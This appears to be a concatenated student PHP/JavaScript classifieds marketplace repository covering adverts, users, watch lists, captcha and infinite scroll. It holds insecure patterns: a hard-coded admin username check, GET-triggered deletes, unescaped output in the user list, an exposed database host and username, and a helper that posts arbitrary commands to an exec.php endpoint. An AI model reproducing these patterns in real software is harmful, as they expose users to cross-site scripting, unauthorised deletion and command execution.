if($newAd !== $args[3])
return "No special characters allowed in min price";
$in = str_repeat('?,', count($dig) - 1) . '?';*/
$stmt = $conn->prepare("SELECT id, title, price FROM adverts
WHERE MATCH(title,description) AGAINST (:title IN NATURAL LANGUAGE MODE)
AND price <= :maximum AND price >= :minimum
AND digital IN (:digital1,:digital2)
ORDER BY id DESC LIMIT :limit OFFSET :offset");
// "SELECT id, title, price FROM adverts
// WHERE (title LIKE :title OR description LIKE :title)
// AND price <= :maximum AND price >= :minimum
// AND digital IN (:digital1,:digital2)
// ORDER BY id DESC LIMIT :limit OFFSET :offset"
$stmt->bindParam('title', $title);
$stmt->bindParam('maximum', $max);
$stmt->bindParam('minimum', $min);
$stmt->bindValue('digital1', $dig[0], PDO::PARAM_INT);
$stmt->bindValue('digital2', $dig[1], PDO::PARAM_INT);
$stmt->bindParam('limit', $limit, PDO::PARAM_INT);
$stmt->bindParam('offset', $offset, PDO::PARAM_INT);
$result = $stmt->execute();
//var_dump($stmt->fetchAll());
if(!$result)
return "Statement Failed: ". $stmt->errorInfo();
return $stmt->fetchAll();
}
/**
* Adds a new add to database and sets expiry date to 60 days from today
* @param PDO $conn
* @param string $user
* @param string $title
* @param string $description
* @param string $price
* @param bool $digital
* @param array $list
* @return string
*/
public function createAd($conn, $user, $title, $description, $price, $digital, $list){
if(strlen($title)>45)
return "Title must be less than 45 characters";
if(strip_tags($title) !== $title)
return "No special characters allowed in title";
if(strlen($description)>254)
return "Description must be less than 254 characters";
if(strip_tags($description) !== $description)
return "No special characters allowed in description";
if(!is_numeric($price))
return "Price must be a number";
if(floatval($price)<0)
return "Price cannot be less than £0";
if(floatval($price)>9999.99)
return "Price cannot be more than £9999.99";
$stmt = $conn->prepare("INSERT INTO adverts (title,description,price,username,digital,expire) VALUES (:title, :description, :price, :username, :digital, (SELECT ADDDATE(CURDATE(),60)))");
$stmt->bindParam('username', $user);
$stmt->bindParam('title', $title);
$stmt->bindParam('description', $description);
$stmt->bindParam('price', $price);
$stmt->bindValue('digital', ($digital ? 1 : 0));
$result = $stmt->execute();
if(!$result)
return "Statement Failed: ". $stmt->errorInfo();
$stmt = $conn->prepare("SELECT LAST_INSERT_ID()");
$stmt->execute();
$this->id = $stmt->fetchColumn();
if(empty($list))
return "Success";
return $this->uploadImages($list);
}
/**
* Delete ad from the database
* @param PDO $conn
* @param string $username
* @return string
*/
public function deleteAd($conn, $username){
if($username === "admin@admin") {
$stmt = $conn->prepare("DELETE FROM adverts WHERE id=:id");
$stmt->bindParam('id', $this->id);
$result = $stmt->execute();
if (!$result) {
return "Statement Failed: " . $stmt->errorInfo();
}
return "Success";
}else{
$stmt = $conn->prepare("DELETE FROM adverts WHERE id=:id AND username=:username");
$stmt->bindParam('id', $this->id);
$stmt->bindParam('username', $username);
$result = $stmt->execute();
if (!$result) {
return "Statement Failed: " . $stmt->errorInfo();
}
return "Success";
}
return "Unauthorised";
}
/**
* Edits ad details in the database and sets expiry date to 60 days from today
* @param PDO $conn
* @param string $user
* @param string $title
* @param string $description
* @param string $price
* @param bool $digital
* @param array $list
* @return string
*/
public function editAd($conn, $title, $description, $price, $digital){
if(strlen($title)>45)
return "Title must be less than 45 characters";
if(strip_tags($title) !== $title)
return "No special characters allowed in title";
if(strlen($description)>254)
return "Description must be less than 254 characters";
if(strip_tags($description) !== $description)
return "No special characters allowed in description";
if(!is_numeric($price))
return "Price must be a number";
if(floatval($price)<0)
return "Price cannot be less than £0";
if(floatval($price)>9999.99)
return "Price cannot be more than £9999.99";
$stmt = $conn->prepare("UPDATE adverts SET title=:title,description=:description,price=:price,digital=:digital,expire = (SELECT ADDDATE(CURDATE(),60)) WHERE id=:id");
$stmt->bindParam('id', $this->id);
$stmt->bindParam('title', $title);
$stmt->bindParam('description', $description);
$stmt->bindParam('price', $price);
$stmt->bindValue('digital', ($digital ? 1 : 0));
$result = $stmt->execute();
if(!$result)
return "Statement Failed: ". $stmt->errorInfo();
return "Success";
}
/**
* Returns an array of details for the selected ad
* @param PDO $conn
* @return array|string
*/
public function getDetails($conn){
$stmt = $conn->prepare("SELECT title, description, price, username, digital FROM adverts WHERE id = :id");
$stmt->bindParam('id', $this->id);
$result = $stmt->execute();
if(!$result)
return "Statement Failed: ". $stmt->errorInfo();
return $stmt->fetch();
}
/**
* Upload each image to the file server with names corresponding to the advert ID
* @param array $list
* @return string
*/
private function uploadImages($list){
$target_dir = "images/adverts/";
$target_file_id = $target_dir . $this->id . "_";
$total = count($list["name"]);
for ($i = 0; $i < $total; $i++) {
if($list["error"][$i] !==0)
return "No file selected";
$imageFileType = strtolower(pathinfo($list["name"][$i], PATHINFO_EXTENSION));
$target_file = $target_file_id . $i . "." . $imageFileType;
$check = getimagesize($list["tmp_name"][$i]);
if ($check === false)
return "No image file selected.";
if (file_exists($target_file))
return "Sorry, file already exists.";
if ($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg" && $imageFileType != "gif")
return "Sorry, only JPG, JPEG, PNG & GIF files are allowed.";
if (!move_uploaded_file($list["tmp_name"][$i], $target_file))
return "Sorry, there was an error uploading your file.";
}
return "Success";
}
/**
* Gets number of ads in the database
* @param PDO $conn
* @return string|array
*/
public function countAds($conn){
$stmt = $conn->prepare("SELECT COUNT(*) FROM adverts");
$result = $stmt->execute();
if(!$result)
return "Statement Failed: ". $stmt->errorInfo();
return $stmt->fetch()[0];
}
/**
* Gets every ad in the database
* @param PDO $conn
* @return string|array
*/
public function getAds($conn, $limit, $offset){
$query = "SELECT id, title, price FROM adverts ORDER BY id DESC LIMIT :limit OFFSET :offset";
$offset -= 1;
$offset *= $limit;
$stmt = $conn->prepare($query);
$stmt->bindParam('limit', $limit, PDO::PARAM_INT);
$stmt->bindParam('offset', $offset, PDO::PARAM_INT);
$result = $stmt->execute();
if(!$result)
return "Statement Failed: ". $stmt->errorInfo();
return $stmt->fetchAll();
}
/**
* Returns all ads on the users watch list including details needed to list them
* @param PDO $conn
* @param string $user
* @return string|array
*/
public function getSavedAds($conn, $user, $limit, $offset){
$offset -= 1;
$offset *= $limit;
$stmt = $conn->prepare("SELECT adverts.id, adverts.title, adverts.price FROM saved INNER JOIN adverts ON saved.id = adverts.id WHERE saved.username = :username ORDER BY id DESC LIMIT :limit OFFSET :offset");
$stmt->bindParam('username', $user);
$stmt->bindParam('limit', $limit, PDO::PARAM_INT);
$stmt->bindParam('offset', $offset, PDO::PARAM_INT);
$result = $stmt->execute();
if(!$result)
return "Statement Failed: ". $stmt->errorInfo();
return $stmt->fetchAll();
}
/**
* Checks if selected ad is on users watch list
* @param PDO $conn
* @param string $user
* @return bool|string
*/
public function isWatched($conn, $user){
$stmt = $conn->prepare("SELECT id FROM saved WHERE id = :id AND username = :username");
$stmt->bindParam('username', $user);
$stmt->bindParam('id', $this->id);
$result = $stmt->execute();
if(!$result)
return "Statement Failed: ". $stmt->errorInfo();
return count($stmt->fetchAll()) > 0;
}
/**
* Adds ad to users watch list
* @param PDO $conn
* @param string $user
* @return string
*/
public function watchAd($conn, $user){
$stmt = $conn->prepare("INSERT INTO saved (id,username) VALUES (:id, :username)");
$stmt->bindParam('username', $user);
$stmt->bindParam('id', $this->id);
$result = $stmt->execute();
if(!$result)
return "Statement Failed: ". $stmt->errorInfo();
return "Success";
}
/**
* Removes ad from users watch list
* @param PDO $conn
* @param string $user
* @return string
*/
public function unwatchAd($conn, $user){
$stmt = $conn->prepare("DELETE FROM saved WHERE id = :id AND username = :username");
$stmt->bindParam('username', $user);
$stmt->bindParam('id', $this->id);
$result = $stmt->execute();
if(!$result)
return "Statement Failed: ". $stmt->errorInfo();
return "Success";
}
/**
* Toggles if ad is watched
* @param PDO $conn
* @param string $user
* @param string $w
* @return bool|string
*/
public function setWatched($conn, $user, $w){
$watched = $this->isWatched($conn, $user);
if(!$watched && $w === '1'){
$result = $this->watchAd($conn,$user);
if($result === "Success")
return true;
}elseif($watched && $w === '0'){
$result = $this->unwatchAd($conn,$user);
if($result === "Success")
return false;
}
return $watched;
}
}<file_sep><?php
/**
* Created by PhpStorm.
* User: Kylw
* Date: 29/01/2018
* Time: 16:25
*/
class DBConnection
{
/**
* Instance getter for singleton
* @return PDO
*/
public static function Instance(){
$servername = "helios.csesalford.com";
$username = "stc905";
$password = "<PASSWORD>"; //please dont steal this ;)
$dbname = "stc905";
static $inst = null;
if($inst === null) {
try {
// Create connection
$inst = new PDO("mysql:host=$servername;dbname=$dbname", $username, $password);
$inst->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
// Check connection
}catch(PDOException $e){
die("Connection Error: ".$e->getMessage());
}
}
return $inst;
}
/**
* DBConnection constructor privated for singleton
*/
private function __construct()
{
}
}<file_sep><?php
/**
* Created by PhpStorm.
* User: stc905
* Date: 07/11/17
* Time: 14:53
*/
class User
{
/**
* @var string
*/
var $username = '';
/**
* User constructor.
* @param string $username
*/
public function __construct($username)
{
$this->username = $username;
}
/**
* Gets every user in the database
* @param PDO $conn
* @return string|array
*/
public function getUsers($conn, $limit, $offset){
$offset -= 1;
$offset *= $limit;
$stmt = $conn->prepare("SELECT username FROM users ORDER BY username DESC LIMIT :limit OFFSET :offset");
$stmt->bindParam('limit', $limit, PDO::PARAM_INT);
$stmt->bindParam('offset', $offset, PDO::PARAM_INT);
$result = $stmt->execute();
if(!$result)
return "Statement Failed: ". $stmt->errorInfo();
return $stmt->fetchAll();
}
/**
* Returns an array of details for the selected user
* @param PDO $conn
* @return array|string
*/
public function getDetails($conn){
if(strlen($this->username)>100)
return "Username too long, must be less than 100 characters";
$newUsername = strip_tags($this->username);
if($newUsername !== $this->username)
return "No special characters allowed in username";
$stmt = $conn->prepare("SELECT username, address1, address2, mobile FROM users WHERE username = :username");
$stmt->bindParam('username', $this->username);
$result = $stmt->execute();
if(!$result)
return "Statement Failed: ". $stmt->errorInfo();
return $stmt->fetch();
}
/**
* Check if a user with the same username is already in the database
* @param PDO $conn
* @return string
*/
public function checkUserExists($conn){
if(strlen($this->username)>100)
return "Username too long, must be less than 100 characters";
$newUsername = strip_tags($this->username);
if($newUsername !== $this->username)
return "No special characters allowed in username";
if($this->username == "")
return "Invalid username";
$stmt = $conn->prepare("SELECT username FROM users WHERE username = :username");
$stmt->bindParam(':username', $this->username);
$stmt->execute();
$result = $stmt->fetchColumn();
if(!$stmt) {
return "Statement Failed: " . $stmt->errorInfo()[0];
}elseif(!$result){
return "NA";
}
return "Email already registered";
}
/**
* Add user details to database
* @param PDO $conn
* @param string $password
* @param string $address1
* @param string $address2
* @param string $mobile
* @return string
*/
public function createUser($conn, $password, $address1, $address2, $mobile){
if(strlen($this->username)>100)
return "Username too long, must be less than 100 characters";
$newUsername = strip_tags($this->username);
if($newUsername !== $this->username)
return "No special characters allowed in username";
if(strlen($address1)>254)
return "Address too long, must be less than 254 characters";
$newAddress = strip_tags($address1);
if($newAddress !== $address1)
return "No special characters allowed in address";
if(strlen($address2)>254)
return "Address too long, must be less than 254 characters";
$newAddress = strip_tags($address2);
if($newAddress !== $address2)
return "No special characters allowed in address";
if(strlen($mobile)>12)
return "Mobile too long, must be less than 12 characters";
$newMobile = strip_tags($mobile);
if($newMobile !== $mobile)
return "No special characters allowed in mobile";
$userExists = $this->checkUserExists($conn);
if($userExists == "NA") {
$stmt = $conn->prepare("INSERT INTO users (username,password,address1,address2,mobile) VALUES (:username, :password, :address1, :address2, :mobile)");
$stmt->bindParam('username', $this->username);
$hashedPass = password_hash($password, PASSWORD_DEFAULT);
$stmt->bindParam('password', $hashedPass);
$stmt->bindParam('address1', $address1);
$stmt->bindParam('address2', $address2);
$stmt->bindParam('mobile', $mobile);
$result = $stmt->execute();
if(!$result){
return "Statement Failed: ". $stmt->errorInfo();
}else {
return "Success";
}
}
return $userExists;
}
/**
* Change user details in the database
* @param PDO $conn
* @param string $password
* @param string $address1
* @param string $address2
* @param string $mobile
* @return string
*/
public function editUser($conn, $password, $address1, $address2, $mobile){
if(strlen($this->username)>100)
return "Username too long, must be less than 100 characters";
$newUsername = strip_tags($this->username);
if($newUsername !== $this->username)
return "No special characters allowed in username";
if(strlen($address1)>254)
return "Address too long, must be less than 254 characters";
$newAddress = strip_tags($address1);
if($newAddress !== $address1)
return "No special characters allowed in address";
if(strlen($address2)>254)
return "Address too long, must be less than 254 characters";
$newAddress = strip_tags($address2);
if($newAddress !== $address2)
return "No special characters allowed in address";
if(strlen($mobile)>12)
return "Mobile too long, must be less than 12 characters";
$newMobile = strip_tags($mobile);
if($newMobile !== $mobile)
return "No special characters allowed in mobile";
$stmt = $conn->prepare("UPDATE users SET password=:<PASSWORD>,address1=:address1,address2=:address2,mobile=:mobile WHERE username=:username");
$stmt->bindParam('username', $this->username);
$hashedPass = password_hash($password, PASSWORD_DEFAULT);
$stmt->bindParam('password', $hashed<PASSWORD>);
$stmt->bindParam('address1', $address1);
$stmt->bindParam('address2', $address2);
$stmt->bindParam('mobile', $mobile);
$result = $stmt->execute();
if(!$result){
return "Statement Failed: ". $stmt->errorInfo();
}
return "Success";
}
/**
* Delete user from the database
* @param PDO $conn
* @return string
*/
public function deleteUser($conn){
if(strlen($this->username)>100)
return "Username too long, must be less than 100 characters";
$newUsername = strip_tags($this->username);
if($newUsername !== $this->username)
return "No special characters allowed in username";
$stmt = $conn->prepare("DELETE FROM users WHERE username=:username");
$stmt->bindParam('username', $this->username);
$result = $stmt->execute();
if(!$result){
return "Statement Failed: ". $stmt->errorInfo();
}
return "Success";
}
/**
* Compare password hashes for user
* @param PDO $conn
* @param string $password
* @return bool|string
*/
public function login($conn, $password){
if(strlen($this->username)>100)
return false;
$newUsername = strip_tags($this->username);
if($newUsername != $this->username)
return false;
$stmt = $conn->prepare("SELECT password FROM users WHERE username = :username");
$stmt->bindParam(':username', $this->username);
$stmt->execute();
$result = $stmt->fetchColumn();
if(!$stmt){
return "Statement Failed: ".$stmt->errorInfo();
}else{
return password_verify($password, $result);
}
}
}<file_sep>var off = 1;
var send = true;
var file;
var formdata = false;
var data;
//below taken from http://www.howtocreate.co.uk/tutorials/javascript/browserwindow
function getScrollXY() {
var scrOfX = 0, scrOfY = 0;
if( typeof( window.pageYOffset ) == 'number' ) {
//Netscape compliant
scrOfY = window.pageYOffset;
scrOfX = window.pageXOffset;
} else if( document.body && ( document.body.scrollLeft || document.body.scrollTop ) ) {
//DOM compliant
scrOfY = document.body.scrollTop;
scrOfX = document.body.scrollLeft;
} else if( document.documentElement && ( document.documentElement.scrollLeft || document.documentElement.scrollTop ) ) {
//IE6 standards compliant mode
scrOfY = document.documentElement.scrollTop;
scrOfX = document.documentElement.scrollLeft;
}
return [ scrOfX, scrOfY ];
}
//taken from http://james.padolsey.com/javascript/get-document-height-cross-browser/
function getDocHeight() {
var D = document;
return Math.max(
D.body.scrollHeight, D.documentElement.scrollHeight,
D.body.offsetHeight, D.documentElement.offsetHeight,
D.body.clientHeight, D.documentElement.clientHeight
);
}
function load() {
document.addEventListener("scroll", function (event) {
if (getDocHeight() <= getScrollXY()[1] + window.innerHeight +200 && send) {
send = false;
loadAds();
}
});
}
function loadAds() {
var xhr = new XMLHttpRequest();
xhr.open('POST', file, true);
if(!formdata)
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr.onreadystatechange = function () {
var DONE = 4;
var OK = 200;
if (xhr.readyState == DONE) {
document.getElementById('loading-div').style.display = "none";
document.getElementById("adspace").innerHTML += xhr.responseText;
if(xhr.responseText.length > 0) {
off++;
send = true;
console.log("off rec" + off);
if (typeof adsLoaded == "function") {
adsLoaded();
}
}
}
//console.log(xhr.responseText);
}
var senddata;
if(formdata) {
data.set("offset", off);
senddata = data;
}else{
senddata = 'offset='+off;
}
xhr.send(senddata);
document.getElementById('loading-div').style.display = "block";
console.log("off send" + off);
}<file_sep><?php
ob_end_flush();
//Output formatted as image data so can be loaded as a source for an image
header("Content-type: image/png");
//Start session if it hasn't already started (redirects)
if(session_status() == 1)
session_start();
//Get generated captcha string
$string = $_SESSION['captcha'];
//Get background for captcha
$im = imagecreatefrompng("images/captcha.png");
//Create orange colour for text
$orange = imagecolorallocate($im, 220, 210, 60);
//Write orange captcha text over background in courier font
imagettftext($im, 26, 0, 0, 32, $orange, "fonts/cour.ttf",$string);
//Output png and cleanup
imagepng($im);
imagedestroy($im);<file_sep><?php
require_once('Views/remote.phtml');<file_sep><?php
$view = new stdClass();
require_once('Models/Advert.php');
$ad;
//Start session if it hasn't already started (redirects)
if(session_status() == 1)
session_start();
//Redirect page if id hasnt been entered for ad
if(isset($_GET["id"]))
$ad = new Advert($_GET["id"]);
else {
require_once("index.php");
die();
}
require_once('Models/DBConnection.php');
$conn = DBConnection::Instance();
//Attempt to get details of ad
$details = $ad->getDetails($conn);
//Redirect if retrieval fails
if(!$details || is_string($details)) {
require_once("index.php");
die();
}else{
//Assign details to view object
$view->pageTitle = 'Advert';
$view->adtitle = $details['title'];
$view->desc = $details['description'];
$view->price = $details['price'];
$view->aduser = $details['username'];
$view->digital = $details['digital'];
$view->id = $ad->id;
$view->img = array();
//Get the urls of all uploaded images and add them to view array
$imgPath = "images/adverts/" . $ad->id . "_*.*";
foreach (glob($imgPath) as $filename) {
array_push($view->img, $filename);
}
}
//Checks if user is logged in
if(isset($_SESSION["user"])) {
$view->user = $_SESSION["user"];
if(isset($_POST['submit']) && ($view->user === "admin@admin" || $view->user === $view->aduser)){
$conn = DBConnection::Instance();
//Add new user to database
$result = $ad->editAd($conn,$_POST['title'],$_POST['desc'],$_POST['price'],isset($_POST['digital']));
if ($result != "Success") {
$view->status = $result;
}else{
$view->adtitle = $_POST['title'];
$view->desc = $_POST['desc'];
$view->price = $_POST['price'];
$view->digital = (isset($_POST['digital']) ? '1' : '0');
}
}
//Watch or unwatch add if user has clicked button, check if its watched to display right button
if (isset($_GET['w']))
$view->watched = $ad->setWatched($conn,$view->user,$_GET['w']);
else
$view->watched = $ad->isWatched($conn, $view->user);
}
//Load page view
require_once('Views/advert.phtml');<file_sep><?php
$view = new stdClass();
//Start session if it hasn't already started (redirects)
if(session_status() == 1)
session_start();
if(isset($_SESSION["user"]))
$view->user = $_SESSION["user"];
else{
//Redirect if not logged in
require_once('shop-login.php');
die();
}
$view->pageTitle = 'Create Advert';
if(isset($_POST['submit'])) {
require_once('Models/Advert.php');
require_once('Models/DBConnection.php');
$conn = DBConnection::Instance();
$ad = new Advert('');
//Add ad to database if details have been submitted
$adSuccess = $ad->createAd($conn,$view->user,$_POST['title'],$_POST['desc'],$_POST['price'],isset($_POST['digital']),$_FILES["fileToUpload"]);
if($adSuccess) {
//Redirect to ad display page if ad successfully uploaded
$_GET["id"] = $ad->id;
require_once("advert.php");
die();
}
}
//show page view
require_once('Views/createadvert.phtml');<file_sep><?php
$view = new stdClass();
$view->pageTitle = 'Register';
//Start session if it hasn't already started (redirects)
if(session_status() == 1)
session_start();
if(isset($_SESSION["user"]))
$view->user = $_SESSION["user"];
require_once('Models/User.php');
require_once('Models/DBConnection.php');
if(isset($_POST['submit'])){
//Check if captcha input matches captcha image
if($_POST['captcha'] === $_SESSION["captcha"]) {
$conn = DBConnection::Instance();
$user = new User($_POST['username']);
//Add new user to database
$result = $user->createUser($conn, $_POST['password'], $_POST['address1'], $_POST['address2'], $_POST['mobile']);
if ($result == "Success") {
$view->status = "Registered Successfully";
//If successful logout if logged in and login new user
session_unset();
session_destroy();
session_start();
$_SESSION["user"] = $user->username;
//redirect to home page
require_once('index.php');
die();
} else {
//If username already registered show login button
$view->error = 1;
$view->status = $result;
}
}else{
//Display captcha error
$view->status = "Your input did not match the image try again";
}
}
//List all english letters/numbers to choose from for captcha
$letterList = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
//Generate 4 random letters/numbers
$_SESSION['captcha'] = $letterList[rand(0,61)] . $letterList[rand(0,61)] . $letterList[rand(0,61)] . $letterList[rand(0,61)];
require_once('Views/register.phtml');<file_sep><?php
//Start session if it hasn't already started (redirects)
if(session_status() == 1)
session_start();
if(!isset($_SESSION["user"])) {
//Redirect if not logged in
require_once('shop-login.php');
die();
}
if($_SESSION['user'] !== "admin@admin"){
//Redirect if not logged in
require_once('shop-login.php');
die();
}
require_once('Models/Advert.php');
require_once('Models/DBConnection.php');
$conn = DBConnection::Instance();
$ad = new Advert('');
$ad->expireAds($conn);
require_once('index.php');
die();<file_sep><?php
$view = new stdClass();
require_once('Models/Advert.php');
require_once('Models/DBConnection.php');
$conn = DBConnection::Instance();
$ad = new Advert('');
//Start session if it hasn't already started (redirects)
if(session_status() == 1)
session_start();
if(isset($_SESSION["user"])) {
$view->user = $_SESSION["user"];
if(isset($_GET['id']) ){
$advert = new Advert($_GET['id']);
$advert->deleteAd($conn, $view->user);
}
}
$view->pageTitle = 'Adverts';
//show page view
require_once('Views/adlist.phtml');<file_sep><?php
//Start session if it hasn't already started (redirects)
$view = new stdClass();
if(session_status() == 1)
session_start();
if(isset($_SESSION["user"]))
$view->user = $_SESSION["user"];
else {
//Redirect to login if not already
require_once('shop-login.php');
die();
}
$view->pageTitle = 'Watched List';
require_once('Models/Advert.php');
require_once('Models/DBConnection.php');
$conn = DBConnection::Instance();
$ad = new Advert('');
if (isset($_GET['w']) && isset($_GET['id'])) {
$ad->id = $_GET['id'];
$ad->setWatched($conn, $view->user, $_GET['w']);
}
//Retrieve list of saved ads
//$adSuccess = $ad->getSavedAds($conn,$view->user);
//if(count($adSuccess) !== 0) {
// $view->ads = $adSuccess;
// $view->img = array();
// //Get first image for each ad
// foreach($view->ads as $advert){
// $imgPath = "images/adverts/$advert[0]_0.*";
// $result = glob($imgPath);
// if(count($result)>0)
// array_push($view->img, glob($imgPath)[0]);
// else
// array_push($view->img,"images/adverts/default.png");
// }
// $view->total = count($view->ads);
//}
//show page view
require_once('Views/watchadlist.phtml');<file_sep><?php
$view = new stdClass();
//Start session if it hasn't already started (redirects)
if(session_status() == 1)
session_start();
if(isset($_SESSION["user"]))
$view->user = $_SESSION["user"];
if($_SESSION['user'] !== "admin@admin"){
//Redirect if not logged in
require_once('shop-login.php');
die();
}
$view->pageTitle = 'Users';
require_once('Models/User.php');
require_once('Models/DBConnection.php');
$conn = DBConnection::Instance();
$user = new User('');
if(isset($_GET['id'])){
$user->username = $_GET['id'];
$user->deleteUser($conn);
}
//show page view
require_once('Views/userlist.phtml');<file_sep><?php
$view = new stdClass();
require_once('Models/Advert.php');
require_once('Models/DBConnection.php');
$conn = DBConnection::Instance();
$ad = new Advert('');
$view->limit = 12;
$view->offset = 1;
if(isset($_POST['offset']) ){
$view->offset = (int) $_POST['offset'];
}
$view->count = $ad->countAds($conn);
//Get a list of all ads with immediate details
$adSuccess = $ad->getAds($conn, $view->limit, $view->offset);
if(!is_string($adSuccess)){
//If retrieval is successful set to view array
$view->ads = $adSuccess;
$view->img = array();
//Get first image uploaded for each advert, and a default if no image was uploaded
foreach($view->ads as $ad){
$imgPath = "images/adverts/$ad[0]_0.*";
$result = glob($imgPath);
if(count($result)>0)
array_push($view->img, glob($imgPath)[0]);
else
array_push($view->img,"images/adverts/default.png");
}
$view->total = count($view->ads);
//show page view
require_once('Views/nextads.phtml');
}
<file_sep><?php
//Start session if it hasn't already started (redirects)
if(session_status() == 1)
session_start();
//Destroy all session data and redirect to login page
session_unset();
session_destroy();
require_once('shop-login.php');
die();<file_sep>function sendComm(comm) {
var xhr = new XMLHttpRequest();
xhr.open('POST', "exec.php", true);
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr.onreadystatechange = function () {
var DONE = 4;
var OK = 200;
if (xhr.readyState == DONE) {
console.log("sent " + comm);
}
//console.log(xhr.responseText);
};
var senddata = 'command='+comm;
xhr.send(senddata);
}<file_sep><?php
//Start session if it hasn't already started (redirects)
$view = new stdClass();
if(session_status() == 1)
session_start();
if(isset($_SESSION["user"]))
$view->user = $_SESSION["user"];
$view->pageTitle = 'Search Adverts';
if(isset($_POST['submit'])) {
$view->title = $_POST['title'];
}
//showpage view
require_once('Views/searchads.phtml');<file_sep><?php
$view = new stdClass();
if(session_status() == 1)
session_start();
if(isset($_SESSION["user"]))
$view->user = $_SESSION["user"];
else {
//Redirect to login if not already
require_once('shop-login.php');
die();
}
require_once('Models/Advert.php');
require_once('Models/DBConnection.php');
$conn = DBConnection::Instance();
$ad = new Advert('');
$view->limit = 12;
$view->offset = 1;
if(isset($_POST['offset']) ){
$view->offset = (int) $_POST['offset'];
}
//echo $view->offset;
//Retrieve list of saved ads
$adSuccess = $ad->getSavedAds($conn, $view->user, $view->limit, $view->offset);
if(count($adSuccess) !== 0) {
$view->ads = $adSuccess;
$view->img = array();
//Get first image for each ad
foreach($view->ads as $advert){
$imgPath = "images/adverts/$advert[0]_0.*";
$result = glob($imgPath);
if(count($result)>0)
array_push($view->img, glob($imgPath)[0]);
else
array_push($view->img,"images/adverts/default.png");
}
$view->total = count($view->ads);
$view->watch = true;
//show page view
require_once('Views/nextads.phtml');
}
<file_sep><?php
$view = new stdClass();
//Start session if it hasn't already started (redirects)
if(session_status() == 1)
session_start();
if(isset($_SESSION["user"]))
$view->user = $_SESSION["user"];
else {
//Redirect to login if not already
require_once('shop-login.php');
die();
}
//Redirect page if id hasnt been entered for user
if(isset($_GET["id"])) {
require_once('Models/User.php');
$user = new User($_GET["id"]);
}else {
require_once("index.php");
die();
}
require_once('Models/DBConnection.php');
$conn = DBConnection::Instance();
if(isset($_POST['submit']) && ($_SESSION['user'] === "admin@admin" || $_SESSION['user'] === $user->username)){
$conn = DBConnection::Instance();
//Add new user to database
$result = $user->editUser($conn, $_POST['password'], $_POST['address1'], $_POST['address2'], $_POST['mobile']);
if ($result != "Success") {
$view->status = $result;
}
}
//Attempt to get details of user
$details = $user->getDetails($conn);
//Redirect if retrieval fails
if(!$details || is_string($details)) {
require_once("index.php");
die();
}else{
//Assign details to view object
$view->pageTitle = 'User';
$view->username = $details['username'];
$view->address1 = $details['address1'];
$view->address2 = $details['address2'];
$view->mobile = $details['mobile'];
}
//Load page view
require_once('Views/user.phtml');<file_sep><?php
//Start session if it hasn't already started (redirects)
$view = new stdClass();
require_once('Models/Advert.php');
require_once('Models/DBConnection.php');
$conn = DBConnection::Instance();
$ad = new Advert('');
$view->limit = 12;
$view->offset = 1;
if(isset($_POST['offset']) ){
$view->offset = (int) $_POST['offset'];
}
//Create an array for checkboxes if details have been submitted
$dig = array(0,1);
$d = isset($_POST['digital']);
$n = isset($_POST['notdigital']);
//Check for real and digital if both or none have been selected
if($d)
$dig = array(1,1);
if($n){
if ($d)
$dig = array(0,1);
else
$dig = array(0,0);
}
//Set defaults if filters havent been entered
if(!isset($_POST['title']))
$_POST['title'] = '';
if(!isset($_POST['maxprice']))
$_POST['maxprice'] = 9999.99;
if(!isset($_POST['minprice']))
$_POST['minprice'] = 0;
if($_POST['maxprice'] == 0)
$_POST['maxprice'] = 9999.99;
//Fetch every matching adverts imediate details
$adSuccess = $ad->searchAds($conn,$_POST['title'],(float) $_POST['maxprice'],(float) $_POST['minprice'],$dig, $view->limit, $view->offset);
if(count($adSuccess) !== 0 &! is_string($adSuccess)) {
$view->ads = $adSuccess;
$view->img = array();
//Get first image for each ad and add to array
foreach ($view->ads as $ad) {
$imgPath = "images/adverts/$ad[0]_0.*";
$result = glob($imgPath);
if (count($result) > 0)
array_push($view->img, glob($imgPath)[0]);
else
array_push($view->img, "images/adverts/default.png");
}
$view->total = count($view->ads);
//showpage view
require_once('Views/nextads.phtml');
}
<file_sep><?php
$view = new stdClass();
if(session_status() == 1)
session_start();
if(isset($_SESSION["user"]))
$view->user = $_SESSION["user"];
if($_SESSION['user'] !== "admin@admin"){
//Redirect if not logged in
require_once('shop-login.php');
die();
}
require_once('Models/User.php');
require_once('Models/DBConnection.php');
$conn = DBConnection::Instance();
$user = new User('');
$view->limit = 12;
$view->offset = 1;
if(isset($_POST['offset']) ){
$view->offset = (int) $_POST['offset'];
}
//Get a list of all ads with immediate details
$userSuccess = $user->getUsers($conn, $view->limit, $view->offset);
if(!is_string($userSuccess)){
//If retrieval is successful set to view array
$view->users = $userSuccess;
}
//show page view
foreach ($view->users as $user) {
echo "<li class='list-group-item row'> <a href='user.php?id=$user[0]' >$user[0]</a><a class='btn btn-default pull-right' href='userlist.php?id=$user[0]'> Delete </a></li>";
}
<file_sep><?php
require_once('Models/Advert.php');
require_once('Models/User.php');
require_once('Models/DBConnection.php');
$conn = DBConnection::Instance();
//$ad = new Advert('');
//for($i = 1; true ; $i++){
// //echo "$i <br>";
// $userNo = ($i %5)+32;
// //echo "$userNo <br>";
// $err = $ad->createAd($conn,"<EMAIL> <EMAIL>","$i-user$userNo's diff type example ad", "exampsadasdle \n deasdasdsc \n $i", $userNo*100+$i/400,($i%2 ? 1 : 0),array());
// echo "$err <br>";
// //echo "$ad->id <br>";
// $userNo+= 3;
// //echo "$userNo <br>";
// $ad->watchAd($conn,"<EMAIL> <EMAIL>");
//}
for($i = 365850; true ; $i+=2){
//echo "$i <br>";
$userNo = ($i %5)+32;
//echo "$userNo <br>";
$user = new User("<EMAIL>");
$err = $user->createUser($conn,"$i","$i Example Street, Exampleton","","000000$userNo");
echo "$err <br>";
//echo "$ad->id <br>";
}
//$stmt = $conn->prepare("ALTER TABLE adverts ADD FULLTEXT (title,description)");
//
//$result = $stmt->execute();
//
//if(!$result)
// return "Statement Failed: ". $stmt->errorInfo();
//echo $stmt->fetchAll(); | 59cb04e44b4f3e976af095802907371dc3d5cde0 | [
"JavaScript",
"PHP"
] | 24 | PHP | kylejwatson/MarketplaceWebsite | 472c5347c0f01e5fd4c0bd1e3603a0c86d0015bb | 967d017c5870881889beb0e1497417b34165cd43 |
